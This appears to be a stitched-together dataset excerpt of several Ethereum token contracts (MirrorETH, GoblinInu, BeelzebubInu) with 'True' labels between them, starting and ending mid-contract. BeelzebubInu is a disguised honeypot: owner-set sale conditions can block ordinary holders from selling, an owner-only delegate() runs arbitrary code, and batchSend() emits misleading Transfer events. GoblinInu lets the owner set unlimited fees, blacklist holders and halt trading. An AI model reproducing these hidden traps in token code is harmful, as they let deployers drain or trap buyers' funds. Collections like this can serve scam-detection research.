address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=120000000;
string constant TOKEN_SYMBOL="MIRROR";
string constant TOKEN_NAME="Mirror Token";
uint8 constant DECIMALS=8;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MirrorETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function burn(uint256 percentage) public onlyOwner{
require(_balance[address(this)]>0,"Nothing to burn");
uint256 burnAmount=_balance[address(this)].div(100).mul(percentage);
_tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0);
}
function addToWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public onlyTaxCollector {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyTaxCollector {
bots[notbot] = false;
}
function createUniswapPair() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyTaxCollector{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
/**
GoblinInu
Ownership Renounced + LP Locked for 30 days
Telegram: https://t.me/GoblinInu
*/
/**
*/
/**
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GoblinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Goblin Inu";
string private constant _symbol = "GINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2A2eFad29894c07F984B6890f9a8e32414E39f88);
address payable private _marketingAddress = payable(0x2A2eFad29894c07F984B6890f9a8e32414E39f88);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-11
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BeelzebubInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() virtual {
require(msg.sender == owner);
_;
}
/**
* @dev propeses a new owner
* Can only be called by the current owner.
*/
function proposeOwner(address payable _newOwner) external onlyOwner {
proposedOwner = _newOwner;
}
/**
* @dev claims ownership of the contract
* Can only be called by the new proposed owner.
*/
function claimOwnership() external {
require(msg.sender == proposedOwner);
emit OwnershipTransferred(owner, proposedOwner);
owner = proposedOwner;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
